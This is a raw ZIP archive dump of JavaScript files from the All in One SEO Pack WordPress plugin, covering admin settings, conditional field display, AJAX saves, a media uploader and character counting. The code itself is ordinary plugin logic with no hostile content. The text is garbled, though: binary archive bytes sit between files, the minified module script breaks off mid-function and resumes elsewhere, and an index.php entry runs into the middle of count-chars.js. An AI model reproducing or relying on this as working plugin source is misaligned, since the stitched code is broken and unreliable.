PK,—[Ïã7ÎXÎX0all-in-one-seo-pack/js/modules/aioseop_module.jsnu„[µü¤/** * Controls all the styling of the plugin. * * AIOSEOP Updates class. * @author Michael Torbert. * @author Semper Fi Web Design. * @copyright https://semperplugins.com * @version 1.0.0 */ if ( typeof aiosp_data !== 'undefined' ) { /** * @since 1.0.0 * @param int $index. * @param $value */ jQuery.each( aiosp_data, function( index, value ) { // aiosp_data[index] = value.json.replace(/"/g, '"'); // aiosp_data[index] = jQuery.parseJSON( value ); if ( index === 0 ) { if ( typeof value.condshow === 'undefined' ) { aiosp_data[ index ].condshow = []; } } else { if ( typeof value.condshow !== 'undefined' ) { aiosp_data[ 0 ].condshow = jQuery.merge( aiosp_data[0].condshow, value.condshow ); } } } ); aiosp_data = aiosp_data[0]; // jshint ignore:line } /** * @summary Changes visibility. * * @since 1.0.0 * @param int $id. */ function toggleVisibility( id ) { var e = document.getElementById( id ); if ( e.style.display === 'block' ) { e.style.display = 'none'; } else { e.style.display = 'block'; } } /** * @summary Returns the fields value. * * @since 1.0.0 * @param String $field. * @return Mixed. */ function aioseop_get_field_value( field ) { if ( field.length === 0 ) { return field; } var cur = jQuery( '[name=' + field + ']' ); if ( cur.length === 0 ) { return field; } var type = cur.attr( 'type' ); if ( type === "checkbox" || type === "radio" ) { cur = jQuery( 'input[name=' + field + ']:checked' ); } return cur.val(); } /** * @summary Returns the fields value. * * @since 1.0.0 * @param String $field. * @return Mixed. */ function aioseop_get_field_values( field ) { var arr = []; var cur = jQuery( '[name=' + field + ']' ); if ( cur.length === 0 ) { return field; } var type = cur.attr( 'type' ); if ( type === "checkbox" || type === "radio" ) { jQuery( 'input[name=' + field + ']:checked' ).each( function() { arr.push( jQuery( this ).val() ); } ); } if ( arr.length <= 0 ) { arr.push( cur.val() ); } return arr; } /** * @summary Evaluates condshow logic. * * @since 1.0.0 * @param String $statement. * @return Mixed. */ function aioseop_eval_condshow_logic( statement ) { var lhs, rhs; if ( ( typeof statement ) === 'object' ) { lhs = statement.lhs; rhs = statement.rhs; if ( lhs !== null && ( ( typeof lhs ) === 'object' ) ) { lhs = aioseop_eval_condshow_logic( lhs ); } if ( rhs !== null && ( typeof rhs ) === 'object' ) { rhs = aioseop_eval_condshow_logic( rhs ); } lhs = aioseop_get_field_value( lhs ); rhs = aioseop_get_field_value( rhs ); switch ( statement.op ) { case 'NOT': return ( ! lhs ); case 'AND': return ( lhs && rhs ); case 'OR' : return ( lhs || rhs ); case '==' : return ( lhs === rhs ); case '!=' : return ( lhs !== rhs ); default : return null; } } return statement; } /** * @summary Evaluates condshow logic. * * @since 1.0.0 * @param String $index. * @param $value. * @return Mixed. */ function aioseop_do_condshow_match( index, value ) { if ( typeof value !== 'undefined' ) { var matches = true; jQuery.each( value, function(subopt, setting) { var statement; if ( ( typeof setting ) === 'object' ) { statement = aioseop_eval_condshow_logic( setting ); if ( ! statement ) { matches = false; } } else { var cur = []; if ( subopt.match( /\\\[\\\]/ ) ) { // special case for these -- pdb cur = aioseop_get_field_values( subopt ); if ( jQuery.inArray( setting, cur, 0 ) < 0 ) { matches = false; } } else { cur = aioseop_get_field_value( subopt ); /* * TODO Improve values of aioseop settings & default settings (in PHP files). By reducing mixed values & casetypes. * * There are too many mixed values to do a strict comparison. * * For an int value, an element.val() will return a string. Plus, there is also a mixture of * int/booleans and string "on||off". This can be improved with using consistancy in the values * being used, and then JSHint & ESLint can be re-enabled. * * Current values occuring... * "1" : 1 * "0" : "on" * 0 : "off" * undefined : "on" */ /* eslint-disable eqeqeq */ if ( cur != setting ) { // jshint ignore:line /* eslint-enable eqeqeq */ matches = false; } } } } ); if ( matches ) { jQuery( '#' + index + '_wrapper' ).show(); } else { jQuery( '#' + index + '_wrapper' ).hide(); } return matches; } return false; } /** * @summary Adds condshow handlers. * * @since 1.0.0 * @param String $index. * @param $value. */ function aioseop_add_condshow_handlers( index, value ) { if ( typeof value !== 'undefined' ) { jQuery.each( value, function(subopt, setting) { jQuery( '[name=' + subopt + ']' ).bind( "change keyup", function() { aioseop_do_condshow_match( index, value ); } ); } ); } } /** * @summary Does condshow. * * @since 1.0.0 * @param $condshow. */ function aioseop_do_condshow( condshow ) { if ( typeof aiosp_data.condshow !== 'undefined' ) { jQuery.each( aiosp_data.condshow, function( index, value ) { aioseop_do_condshow_match( index, value ); aioseop_add_condshow_handlers( index, value ); } ); } } /** * @since 1.0.0 */ jQuery( document ).ready( function() { if ( typeof aiosp_data !== 'undefined' ) { if ( typeof aiosp_data.condshow !== 'undefined' ) { aioseop_do_condshow( aiosp_data.condshow ); } } /** * Turns on image checker on custom url change. * @since 2.3.16 */ jQuery( '.aioseop_upload_image_label' ).on( 'change', function() { this.checker = jQuery( this ).parent().find( '.aioseop_upload_image_checker' ); if ( this.checker.length > 0 ) { this.checker.val( 1 ); } } ); /** * @summary Javascript for using WP media uploader. Indentifies which DOM should use custom uploader plugin. * * @see http://www.webmaster-source.com/2013/02/06/using-the-wordpress-3-5-media-uploader-in-your-plugin-or-theme/ * @since ? * @since 2.3.11.2 Use WP 3.5 new media uploader * @since 2.3.13 Fixed issue #[740](https://github.com/semperfiwebdesign/all-in-one-seo-pack/issues/740) * */ jQuery(document).ready( function ($) { jQuery('.aioseop_upload_image_button').each( function () { jQuery(this).aioseopImageUploader( { success: function (url, el) { // Update checker if (jQuery(el).prev().length > 0) { jQuery(el).prev().val(1); } } } ); } ); } ); jQuery(document).ready( function () { jQuery("#poststuff .aioseop_radio_type input[type='radio']").on( 'click', function () { var previousValue = jQuery(this).attr('previousValue'); var name = jQuery(this).attr('name'); if (typeof previousValue === 'undefined') { if (jQuery(this).prop("checked")) { jQuery(this).prop('checked', true); jQuery(this).attr('previousValue', 'checked'); } else { jQuery(this).prop('checked', false); jQuery(this).attr('previousValue', false); } return; } if (previousValue === 'checked') { jQuery(this).prop('checked', false); jQuery(this).attr('previousValue', false); } else { jQuery("input[name=" + name + "]:radio") .attr('previousValue', false); jQuery(this).attr('previousValue', 'checked'); } } ); } ); if ( typeof aiosp_data.pointers !== 'undefined' ) { /** * @since 1.0.0 * @param $index. * @param $value. * @return mixed. */ jQuery.each( aiosp_data.pointers, function( index, value ) { if ( value !== 'undefined' && value.pointer_text !== '' ) { /* * The function is located in a PHP function where it is rendered/printed. * * @see \All_in_One_SEO_Pack::add_page_icon() */ aioseop_show_pointer( index, value ); // jshint ignore:line } } ); } /** * @since 1.0.0 * @param $e. * @return boolean. */ jQuery( ".all-in-one-seo_page_all-in-one-seo-pack-modules-aioseop_feature_manager #aiosp_settings_form .aioseop_settings_left" ) .delegate( "input[name='Submit']", "click", function( e ) { e.preventDefault(); return false; } ); /** * @since 1.0.0 * @param $e. * @return boolean. */ jQuery( ".all-in-one-seo_page_all-in-one-seo-pack-modules-aioseop_feature_manager #aiosp_settings_form" ) .delegate( "input[name='Submit']", "click", function( e ) { e.preventDefault(); aioseop_handle_post_url( 'aioseop_ajax_save_settings', 'ajax_settings_message', jQuery( 'form#aiosp_settings_form' ).serialize(), function() { jQuery( '.wp-has-current-submenu' ).fadeIn( 'fast', function() { aioseop_handle_ajax_call( 'aioseop_ajax_get_menu_links', 'ajax_settings_message', jQuery.param( {target: '.wp-has-current-submenu > ul'} ) ); } ); } ); return false; } ); /** * @since 1.0.0 * @param $e. * @return boolean. */ jQuery( ".all-in-one-seo_page_all-in-one-seo-pack-pro-modules-aioseop_feature_manager #aiosp_settings_form .aioseop_settings_left" ) .delegate( "input[name='Submit']", "click", function( e ) { e.preventDefault(); return false; } ); /** * @since 1.0.0 * @param $e. * @return boolean. */ jQuery( ".all-in-one-seo_page_all-in-one-seo-pack-pro-modules-aioseop_feature_manager #aiosp_settings_form" ) .delegate( "input[name='Submit']", "click", function( e ) { e.preventDefault(); aioseop_handle_post_url( 'aioseop_ajax_save_settings', 'ajax_settings_message', jQuery( 'form#aiosp_settings_form' ).serialize(), function() { jQuery( '.wp-has-current-submenu' ).fadeIn( 'fast', function() { aioseop_handle_ajax_call( 'aioseop_ajax_get_menu_links', 'ajax_settings_message', jQuery.param( {target: '.wp-has-current-submenu > ul'} ) ); } ); } ); return false; } ); var selectors = "div.aioseop_multicheckbox_type div.aioseop_option_div, #aiosp_sitemap_debug div.aioseop_option_div, #aiosp_performance_status div.aioseop_option_div"; /** * @since 1.0.0 * @return boolean. */ jQuery( "div#aiosp_sitemap_addl_pages_metabox" ) .delegate( "input[name='Submit']", "click", function() { aioseop_handle_post_url( 'aioseop_ajax_save_url', 'sitemap_addl_pages', jQuery( 'div#aiosp_sitemap_addl_pages_metabox input, div#aiosp_sitemap_addl_pages_metabox select' ) .serialize() ); return false; } ); /** * @since 1.0.0 * @return boolean. */ jQuery( "div#aiosp_video_sitemap_addl_pages_metabox" ) .delegate( "input[name='Submit']", "click", function() { aioseop_handle_post_url( 'aioseop_ajax_save_url', 'video_sitemap_addl_pages', jQuery( 'div#aiosp_video_sitemap_addl_pages_metabox input, div#aiosp_video_sitemap_addl_pages_metabox select' ) .serialize() ); return false; } ); /** * @since 1.0.0 * @param $e. * @return boolean. */ jQuery( "div#aiosp_sitemap_addl_pages_metabox" ) .delegate( "a.aiosp_delete_url", "click", function( e ) { e.preventDefault(); aioseop_handle_post_url( 'aioseop_ajax_delete_url', 'sitemap_addl_pages', jQuery( this ).attr( "title" ) ); return false; } ); /** * @since 1.0.0 * @param $e. * @return boolean. */ jQuery( "div#aiosp_video_sitemap_addl_pages_metabox" ) .delegate( "a.aiosp_delete_url", "click", function( e ) { e.preventDefault(); aioseop_handle_post_url( 'aioseop_ajax_delete_url', 'video_sitemap_addl_pages', jQuery( this ).attr( "title" ) ); return false; } ); /** * @since 1.0.0 * @param $e. * @return boolean. */ jQuery( "div#aiosp_opengraph_scan_header" ) .delegate( "input[name='aiosp_opengraph_scan_header']", "click", function( e ) { e.preventDefault(); aioseop_handle_post_url( 'aioseop_ajax_scan_header', 'opengraph_scan_header', jQuery( 'div#aiosp_opengraph_scan_header' ).serialize() ); return false; } ); /** * @since 1.0.0 */ jQuery( 'input[name="aiosp_sitemap_posttypes[]"][value="all"], input[name="aiosp_video_sitemap_posttypes[]"][value="all"], input[name="aiosp_sitemap_taxonomies[]"][value="all"], input[name="aiosp_video_sitemap_taxonomies[]"][value="all"]' ) .click( function() { jQuery( this ) .parents( 'div:eq(0)' ) .find( ':checkbox' ) .prop( 'checked', this.checked ); } ); /** * @since 1.0.0 */ jQuery( 'input[name="aiosp_sitemap_posttypes[]"][value!="all"], input[name="aiosp_video_sitemap_posttypes[]"][value!="all"], input[name="aiosp_sitemap_taxonomies[]"][value!="all"], input[name="aiosp_video_sitemap_taxonomies[]"][value!="all"]' ) .click( function () { if ( ! this.checked ) { jQuery( this ) .parents( 'div:eq(0)' ) .find( 'input[value="all"]:checkbox' ) .prop( 'checked', this.checked ); } } ); jQuery('.aioseop_tabs').tabs({ hide: true, show: true }); jQuery( "div#aiosp_robots_default_metabox" ) .delegate( "a.aiosp_robots_delete_rule", "click", function( e ) { e.preventDefault(); aioseop_handle_post_url( 'aioseop_ajax_delete_rule', 'robots_rules', jQuery( this ).attr( "data-id" ), function() { window.location.reload(); } ); return false; } ); jQuery( "div#aiosp_robots_default_metabox" ) .delegate( "a.aiosp_robots_edit_rule", "click", function( e ) { e.preventDefault(); jQuery('input[name="aiosp_robots_agent"]').val(jQuery(this).attr('data-agent')); jQuery('select[name="aiosp_robots_type"]').val(jQuery(this).attr('data-type')); jQuery('input[name="aiosp_robots_path"]').val(jQuery(this).attr('data-path')); jQuery('input.add-edit-rule').val(jQuery('.aioseop_table').attr('data-edit-label')); jQuery('input.edit-rule-id').val(jQuery(this).attr('data-id')); return false; } ); jQuery( "a.aiosp_robots_physical" ).on( 'click', function( e ) { e.preventDefault(); aioseop_handle_post_url( 'aioseop_ajax_robots_physical', 'robots_physical_import_delete',//'robots_metabox', // No element of the ID existed, and unsure which element its intended for. jQuery( this ).attr( "data-action" ), function( data ) { if ( data.data && data.data.message ) { // TODO Add alert function. Check example of correct code. https://eslint.org/docs/rules/no-alert /* eslint-disable no-alert */ alert( data.data.message ); /* eslint-enable no-alert */ } window.location.reload(); }, true ); return false; }); aiospinitAll(); } ); /** * @summary Custom jQuery plugin that enables image uploader in wordpress. * * @since 2.3.13 * @since 2.4.14 Added success callback and options. * @see http://www.webmaster-source.com/2013/02/06/using-the-wordpress-3-5-media-uploader-in-your-plugin-or-theme/ * * @param object options Plugin options. */ jQuery.fn.aioseopImageUploader = function( options ) { // Keep reference to this. var self = this; // Options self.options = jQuery.extend( { success: undefined }, options ); // Set input target when to update image url value self.target = jQuery( self ).next(); // Uploader per image button // * Having only one uploader was causing problems when multiple image buttons where in place self.uploader = wp.media( { title: 'Choose Image', button: { text: 'Choose Image' }, multiple: false } ); /** * Event handler that will be called when an image is selected from media uploader. */ self.onSelect = function() { var url = self.uploader.state().get( 'selection' ).first().toJSON().url; if ( self.target.length >= 0 ) { jQuery( self.target ).val( url ); } if ( self.options.success !== undefined ) { self.options.success( url, self ); } }; /** * Click event handler. * @param object e Click event. */ self.onClick = function( e ) { e.preventDefault(); self.uploader.open(); }; // Set uploader select handler self.uploader.on( 'select', self.onSelect ); // Set click handler jQuery( self ).click( self.onClick ); }; /** * @summary Stores object of all radio buttons that are checked for entire form. * * @since 1.0.0 */ function aiosp_store_radio() { var radioshack = {}; jQuery( 'input[type="radio"]' ).each( function() { if ( jQuery( this ).is( ':checked' ) ) { radioshack[ jQuery( this ).attr( 'name' ) ] = jQuery( this ).val(); } jQuery( document ).data( 'radioshack', radioshack ); } ); } /** * @summary Detects mouseup and restore all radio buttons that were checked. * * @since 1.0.0 */ function aiosp_reclick_radio() { // gets the object of checked radio button names and values var radios = jQuery( document ).data( 'radioshack' ); // steps thru each object element and trigger a click on it's corresponding radio button // TODO Change for loop. (This also appears to be an unused/deprecated function) // https://stackoverflow.com/questions/1963102/what-does-the-jslint-error-body-of-a-for-in-should-be-wrapped-in-an-if-statemen /* eslint-disable guard-for-in */ for ( var key in radios ) { jQuery( 'input[name="' + key + '"]' ) .filter( '[value="' + radios[ key ] + '"]' ) .trigger( 'click' ); } /* eslint-enable guard-for-in */ // unbinds the event listener on .wrap (prevents clicks on inputs from triggering function) jQuery( '.wrap' ).unbind( 'mouseup' ); } /** * @summary Handdles ajax call. * * @since 1.0.0 * @param $action. * @param $setting. * @param $options. * @param $success. */ function aioseop_handle_ajax_call( action, settings, options, success ) { var aioseop_sack = new sack( ajaxurl ); aioseop_sack.execute = 1; aioseop_sack.method = 'POST'; aioseop_sack.setVar( "action", action ); aioseop_sack.setVar( "settings", settings ); aioseop_sack.setVar( "options", options ); if ( typeof success !== 'undefined' ) { aioseop_sack.onCompletion = success; } aioseop_sack.setVar( "nonce-aioseop", jQuery( 'input[name="nonce-aioseop"]' ).val() ); aioseop_sack.setVar( "nonce-aioseop-edit", jQuery( 'input[name="nonce-aioseop-edit"]' ).val() ); aioseop_sack.onError = function() { // TODO Add alert function. Check example of correct code. https://eslint.org/docs/rules/no-alert /* eslint-disable no-alert */ alert( 'Ajax error on saving.' ); /* eslint-enable no-alert */ }; aioseop_sack.runAJAX(); } /** * @summary Handdles posts URL. * * @since 1.0.0 * @param $action. * @param $setting. * @param $options. * @param $success. */ function aioseop_handle_post_url( action, settings, options, success_function, use_native) { jQuery( "div#aiosp_" + settings ).fadeOut( 'fast', function() { var loading = ' Please wait...'; jQuery( "div#aiosp_" + settings ).fadeIn( 'fast', function() { if(use_native) { jQuery.ajax({ url : ajaxurl, method : 'POST', dataType: 'json', data : { 'action' : action, 'options' : options, 'settings' : settings, 'nonce-aioseop': jQuery( 'input[name="nonce-aioseop"]' ).val(), 'nonce-aioseop-edit': jQuery( 'input[name="nonce-aioseop-edit"]' ).val() }, success : function(data){ if(success_function){ success_function(data); } } }); }else{ aioseop_handle_ajax_call( action, settings, options, success_function ); } } ); jQuery( "div#aiosp_" + settings ).html( loading ); } ); } /** * @summary Handles when AIOSEOP is overflowed. * * @since 1.0.0 * @param $element. * @return mixed. */ function aioseop_is_overflowed( element ) { return element.scrollHeight > element.clientHeight || element.scrollWidth > element.clientWidth; } /** * @summary Handles when overflowed border. * * @since 1.0.0 * @param $el. */ function aioseop_overflow_border( el ) { if ( aioseop_is_overflowed( el ) ) { el.className = 'aioseop_option_div aioseop_overflowed'; } else { el.className = 'aioseop_option_div'; } } function aiospinitAll(){ aiospinitSocialMetaInPosts(jQuery); aiospinitCalendar(); } function aiospinitCalendar(){ if ( jQuery( '.aiseop-date' ).length > 0 && jQuery( '.aiseop-date' ).eq( 0 ).prop( 'type' ).toLowerCase() === 'text' ) { jQuery( '.aiseop-date' ).datepicker( { dateFormat: "yy-mm-dd" } ); } } function aiospinitSocialMetaInPosts($) { // clear the radio buttons when the user clicks the upload button. $('input[name="aioseop_opengraph_settings_customimg_checker"] ~ .aioseop_upload_image_button').on('click', function(e){ $('input[name="aioseop_opengraph_settings_image"]').attr('checked', false); }); } PK,—[¿üâ")")4all-in-one-seo-pack/js/modules/aioseop_module.min.jsnu„[µü¤function toggleVisibility(e){var a=document.getElementById(e);"block"===a.style.display?a.style.display="none":a.style.display="block"}function aioseop_get_field_value(e){if(0===e.length)return e;var a=jQuery("[name="+e+"]");if(0===a.length)return e;var o=a.attr("type");return"checkbox"!==o&&"radio"!==o||(a=jQuery("input[name="+e+"]:checked")),a.val()}function aioseop_get_field_values(e){var a=[],o=jQuery("[name="+e+"]");if(0===o.length)return e;var t=o.attr("type");return"checkbox"!==t&&"radio"!==t||jQuery("input[name="+e+"]:checked").each(function(){a.push(jQuery(this).val())}),a.length<=0&&a.push(o.val()),a}function aioseop_eval_condshow_logic(e){var a,o;if("object"==typeof e)switch(a=e.lhs,o=e.rhs,null!==a&&"object"==typeof a&&(a=aioseop_eval_condshow_logic(a)),null!==o&&"object"==typeof o&&(o=aioseop_eval_condshow_logic(o)),a=aioseop_get_field_value(a),o=aioseop_get_field_value(o),e.op){case"NOT":return!a;case"AND":return a&&o;case"OR":return a||o;case"==":return a===o;case"!=":return a!==o;default:return null}return e}function aioseop_do_condshow_match(e,a){if(void 0===a)return!1;var t=!0;return jQuery.each(a,function(e,a){if("object"==typeof a)aioseop_eval_condshow_logic(a)||(t=!1);else{var o=[];e.match(/\\\[\\\]/)?(o=aioseop_get_field_values(e),jQuery.inArray(a,o,0)<0&&(t=!1)):(o=aioseop_get_field_value(e))!=a&&(t=!1)}}),t?jQuery("#"+e+"_wrapper").show():jQuery("#"+e+"_wrapper").hide(),t}function aioseop_add_condshow_handlers(o,t){void 0!==t&&jQuery.each(t,function(e,a){jQuery("[name="+e+"]").bind("change keyup",function(){aioseop_do_condshow_match(o,t)})})}function aioseop_do_condshow(e){void 0!==aiosp_data.condshow&&jQuery.each(aiosp_data.condshow,function(e,a){aioseop_do_condshow_match(e,a),aioseop_add_condshow_handlers(e,a)})}function aiosp_store_radio(){var e={};jQuery('input[type="radio"]').each(function(){jQuery(this).is(":checked")&&(e[jQuery(this).attr("name")]=jQuery(this).val()),jQuery(document).data("radioshack",e)})}function aiosp_reclick_radio(){var e=jQuery(document).data("radioshack");for(var a in e)jQuery('input[name="'+a+'"]').filter('[value="'+e[a]+'"]').trigger("click");jQuery(".wrap").unbind("mouseup")}function aioseop_handle_ajax_call(e,a,o,t){var i=new sack(ajaxurl);i.execute=1,i.method="POST",i.setVar("action",e),i.setVar("settings",a),i.setVar("options",o),void 0!==t&&(i.onCompletion=t),i.setVar("nonce-aioseop",jQuery('input[name="nonce-aioseop"]').val()),i.setVar("nonce-aioseop-edit",jQuery('input[name="nonce-aioseop-edit"]').val()),i.onError=function(){alert("Ajax error on saving.")},i.runAJAX()}function aioseop_handle_post_url(a,o,t,i,s){jQuery("div#aiosp_"+o).fadeOut("fast",function(){var e=' Please wait...';jQuery("div#aiosp_"+o).fadeIn("fast",function(){s?jQuery.ajax({url:ajaxurl,method:"POST",dataType:"json",data:{action:a,options:t,settings:o,"nonce-aioseop":jQuery('input[name="nonce-aioseop"]').val(),"nonce-aioseop-edit":jQuery('input[name="nonce-aioseop-edit"]').val()},success:function(e){i&&i(e)}}):aioseop_handle_ajax_call(a,o,t,i)}),jQuery("div#aiosp_"+o).html(e)})}function aioseop_is_overflowed(e){return e.scrollHeight>e.clientHeight||e.scrollWidth>e.clientWidth}function aioseop_overflow_border(e){aioseop_is_overflowed(e)?e.className="aioseop_option_div aioseop_overflowed":e.className="aioseop_option_div"}function aiospinitAll(){aiospinitSocialMetaInPosts(jQuery),aiospinitCalendar()}function aiospinitCalendar(){0 ul"}))})}),!1}),jQuery(".all-in-one-seo_page_all-in-one-seo-pack-pro-modules-aioseop_feature_manager #aiosp_settings_form .aioseop_settings_left").delegate("input[name='Submit']","click",function(e){return e.preventDefault(),!1}),jQuery(".all-in-one-seo_page_all-in-one-seo-pack-pro-modules-aioseop_feature_manager #aiosp_settings_form").delegate("input[name='Submit']","click",function(e){return e.preventDefault(),aioseop_handle_post_url("aioseop_ajax_save_settings","ajax_settings_message",jQuery("form#aiosp_settings_form").serialize(),function(){jQuery(".wp-has-current-submenu").fadeIn("fast",function(){aioseop_handle_ajax_call("aioseop_ajax_get_menu_links","ajax_settings_message",jQuery.param({target:".wp-has-current-submenu > ul"}))})}),!1});jQuery("div#aiosp_sitemap_addl_pages_metabox").delegate("input[name='Submit']","click",function(){return aioseop_handle_post_url("aioseop_ajax_save_url","sitemap_addl_pages",jQuery("div#aiosp_sitemap_addl_pages_metabox input, div#aiosp_sitemap_addl_pages_metabox select").serialize()),!1}),jQuery("div#aiosp_video_sitemap_addl_pages_metabox").delegate("input[name='Submit']","click",function(){return aioseop_handle_post_url("aioseop_ajax_save_url","video_sitemap_addl_pages",jQuery("div#aiosp_video_sitemap_addl_pages_metabox input, div#aiosp_video_sitemap_addl_pages_metabox select").serialize()),!1}),jQuery("div#aiosp_sitemap_addl_pages_metabox").delegate("a.aiosp_delete_url","click",function(e){return e.preventDefault(),aioseop_handle_post_url("aioseop_ajax_delete_url","sitemap_addl_pages",jQuery(this).attr("title")),!1}),jQuery("div#aiosp_video_sitemap_addl_pages_metabox").delegate("a.aiosp_delete_url","click",function(e){return e.preventDefault(),aioseop_handle_post_url("aioseop_ajax_delete_url","video_sitemap_addl_pages",jQuery(this).attr("title")),!1}),jQuery("div#aiosp_opengraph_scan_header").delegate("input[name='aiosp_opengraph_scan_header']","click",function(e){return e.preventDefault(),aioseop_handle_post_url("aioseop_ajax_scan_header","opengraph_scan_header",jQuery("div#aiosp_opengraph_scan_header").serialize()),!1}),jQuery('input[name="aiosp_sitemap_posttypes[]"][value="all"], input[name="aiosp_video_sitemap_posttypes[]"][value="all"], input[name="aiosp_sitemap_taxonomies[]"][value="all"], input[name="aiosp_video_sitemap_taxonomies[]"][value="all"]').click(function(){jQuery(this).parents("div:eq(0)").find(":checkbox").prop("checked",this.checked)}),jQuery('input[name="aiosp_sitemap_posttypes[]"][value!="all"], input[name="aiosp_video_sitemap_posttypes[]"][value!="all"], input[name="aiosp_sitemap_taxonomies[]"][value!="all"], input[name="aiosp_video_sitemap_taxonomies[]"][value!="all"]').click(function(){this.checked||jQuery(this).parents("div:eq(0)").find('input[value="all"]:checkbox').prop("checked",this.checked)}),jQuery(".aioseop_tabs").tabs({hide:!0,show:!0}),jQuery("div#aiosp_robots_default_metabox").delegate("a.aiosp_robots_delete_rule","click",function(e){return e.preventDefault(),aioseop_handle_post_url("aioseop_ajax_delete_rule","robots_rules",jQuery(this).attr("data-id"),function(){window.location.reload()}),!1}),jQuery("div#aiosp_robots_default_metabox").delegate("a.aiosp_robots_edit_rule","click",function(e){return e.preventDefault(),jQuery('input[name="aiosp_robots_agent"]').val(jQuery(this).attr("data-agent")),jQuery('select[name="aiosp_robots_type"]').val(jQuery(this).attr("data-type")),jQuery('input[name="aiosp_robots_path"]').val(jQuery(this).attr("data-path")),jQuery("input.add-edit-rule").val(jQuery(".aioseop_table").attr("data-edit-label")),jQuery("input.edit-rule-id").val(jQuery(this).attr("data-id")),!1}),jQuery("a.aiosp_robots_physical").on("click",function(e){return e.preventDefault(),aioseop_handle_post_url("aioseop_ajax_robots_physical","robots_physical_import_delete",jQuery(this).attr("data-action"),function(e){e.data&&e.data.message&&alert(e.data.message),window.location.reload()},!0),!1}),aiospinitAll()}),jQuery.fn.aioseopImageUploader=function(e){var a=this;a.options=jQuery.extend({success:void 0},e),a.target=jQuery(a).next(),a.uploader=wp.media({title:"Choose Image",button:{text:"Choose Image"},multiple:!1}),a.onSelect=function(){var e=a.uploader.state().get("selection").first().toJSON().url;0<=a.target.length&&jQuery(a.target).val(e),void 0!==a.options.success&&a.options.success(e,a)},a.onClick=function(e){e.preventDefault(),a.uploader.open()},a.uploader.on("select",a.onSelect),jQuery(a).click(a.onClick)};PK,—[9‰±Ðƒƒ3all-in-one-seo-pack/js/modules/aioseop_opengraph.jsnu„[µü¤/** * Script for AIOSEOP OpenGraph * * @summary For AIOSEOP OpenGraph settings on AIOSEOP screens & edit post screen (possibly more others). * * @author Michael Torbert. * @author Semper Fi Web Design. * @copyright https://semperplugins.com * @version 2.9.2 */ jQuery(document).ready(function () { var snippet = jQuery("#aioseop_snippet_link"); if (snippet.length === 0) { jQuery("#aioseop_opengraph_settings_facebook_debug_wrapper").hide(); } else { snippet = snippet.html(); jQuery("#aioseop_opengraph_settings_facebook_debug") .attr("href", "https://developers.facebook.com/tools/debug/sharing/?q=" + snippet); } }); PK,—[œOöÎ&&7all-in-one-seo-pack/js/modules/aioseop_opengraph.min.jsnu„[µü¤jQuery(document).ready(function(){var e=jQuery("#aioseop_snippet_link");0===e.length?jQuery("#aioseop_opengraph_settings_facebook_debug_wrapper").hide():(e=e.html(),jQuery("#aioseop_opengraph_settings_facebook_debug").attr("href","https://developers.facebook.com/tools/debug/sharing/?q="+e))});PK,—[þi£@RR1all-in-one-seo-pack/js/modules/aioseop_sitemap.jsnu„[µü¤/** * Script for Sitemap Settings page * * @summary Binds input elements for AIOSEOP Sitemap Settings screens. * * @link https://github.com/selectize/selectize.js * * @author Michael Torbert. * @author Semper Fi Web Design. * @copyright https://semperplugins.com * @version 3.0 */ jQuery('.aioseop-exclude-terms').selectize(); PK,—[ŒAÿ--5all-in-one-seo-pack/js/modules/aioseop_sitemap.min.jsnu„[µü¤jQuery(".aioseop-exclude-terms").selectize();PK,—[‘ñæ%%(all-in-one-seo-pack/js/modules/index.phpnu„[µü¤/gm, "")); }); jQuery("#aiosp_description_wrapper").bind("input", function() { jQuery("#aioseop_snippet_description").text(jQuery("#aiosp_description_wrapper textarea").val().replace(/<(?:.|\n)*?>/gm, "")); }); }); /** * AIOSEOP Init Counting * * @since ? */ function aioseopInitCounting(){ /* count them characters */ jQuery( '.aioseop_count_chars' ).on('keyup keydown', function(){ aioseopCountChars( jQuery(this).eq(0), jQuery(this).parent().find('[name="' + jQuery(this).attr('data-length-field') + '"]').eq(0)); }); jQuery( '.aioseop_count_chars' ).each(function(){ aioseopCountChars( jQuery(this).eq(0), jQuery(this).parent().find('[name="' + jQuery(this).attr('data-length-field') + '"]').eq(0)); }); } /** * @summary Counts characters. * * @since 1.0.0 * @since 2.9.1 Fix JS conflict with LearnDash and function name. * * @param Object $field. * @param Object $cntfield. * @return Mixed. */ function aioseopCountChars( field, cntfield ) { var extra = 0; var field_size; if ( ( field.attr('name') === 'aiosp_title' ) && ( typeof aiosp_title_extra !== 'undefined' ) ) { extra = aiosp_title_extra; } cntfield.val( field.val().length + extra ); if ( typeof field.attr('size') !== 'undefined' ) { field_size = field.attr('size'); } else { field_size = field.attr('rows') * field.attr('cols'); } field_size = parseInt(field_size, 10); if ( field_size < 10 ) { return; } if ( cntfield.val() > field_size ) { cntfield.removeClass().addClass('aioseop_count_ugly'); } else if ( ( 'aiosp_title' === field.attr('name' ) ) || ( 'aiosp_home_title' === field.attr('name') ) ) { if ( cntfield.val() > ( field_size - 6 ) ) { cntfield.removeClass().addClass('aioseop_count_bad'); } else { cntfield.removeClass().addClass('aioseop_count_good'); } } else { if ( cntfield.val() > ( field_size - 10 ) ) { cntfield.removeClass().addClass('aioseop_count_bad'); } else { cntfield.removeClass().addClass('aioseop_count_good'); } } } PK,—[âypîÙÙ)all-in-one-seo-pack/js/count-chars.min.jsnu„[µü¤var aiosp_title_extra=parseInt(aioseop_count_chars.aiosp_title_extra,10);function aioseopInitCounting(){jQuery(".aioseop_count_chars").on("keyup keydown",function(){aioseopCountChars(jQuery(this).eq(0),jQuery(this).parent().find('[name="'+jQuery(this).attr("data-length-field")+'"]').eq(0))}),jQuery(".aioseop_count_chars").each(function(){aioseopCountChars(jQuery(this).eq(0),jQuery(this).parent().find('[name="'+jQuery(this).attr("data-length-field")+'"]').eq(0))})}function aioseopCountChars(e,t){var a,o=0;"aiosp_title"===e.attr("name")&&void 0!==aiosp_title_extra&&(o=aiosp_title_extra),t.val(e.val().length+o),a=void 0!==e.attr("size")?e.attr("size"):e.attr("rows")*e.attr("cols"),(a=parseInt(a,10))<10||(t.val()>a?t.removeClass().addClass("aioseop_count_ugly"):"aiosp_title"===e.attr("name")||"aiosp_home_title"===e.attr("name")?t.val()>a-6?t.removeClass().addClass("aioseop_count_bad"):t.removeClass().addClass("aioseop_count_good"):t.val()>a-10?t.removeClass().addClass("aioseop_count_bad"):t.removeClass().addClass("aioseop_count_good"))}jQuery(document).ready(function(){aioseopInitCounting()}),jQuery(document).ready(function(){jQuery("#aiosp_title_wrapper").bind("input",function(){jQuery("#aiosp_snippet_title").text(jQuery("#aiosp_title_wrapper 